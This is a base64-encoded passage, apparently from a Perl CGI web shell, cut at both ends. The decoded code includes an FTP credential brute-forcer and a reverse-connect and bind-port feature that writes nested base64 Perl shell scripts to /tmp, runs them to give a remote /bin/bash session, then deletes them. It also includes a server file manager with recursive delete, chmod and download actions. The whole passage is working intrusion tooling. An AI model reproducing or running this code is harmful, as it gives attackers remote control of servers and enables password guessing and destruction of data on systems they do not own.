lZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCR1c2VybmFtZSBuZSAiIikNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLg0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCglpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAiJGZpbGUiOw0KCX0NCglyZXR1cm4gIjAiOw0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBUcmltU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7DQoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOw0KCXJldHVybiAkc3RyaW5nOw0KfQ0Kc3ViIExpc3REaXINCnsNCglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7DQoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7DQoJaWYoLWQgJHBhdGgpDQoJew0KCQlteSBAZm5hbWUgPSAoKTsNCgkJbXkgQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkNCgkJew0KCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCQl7DQoJCQkJJGY9JHBhdGguJGZpbGU7DQoJCQkJaWYoLWQgJGYpDQoJCQkJew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+DQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCB3aWR0aD0nMTAwJz5GaWxlIFNpemU8L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCB3aWR0aD0nMTUwJz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9Im5vdGxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJbmV4dDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsNCgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsNCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJyk7IHJldHVybiBmYWxzZTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjw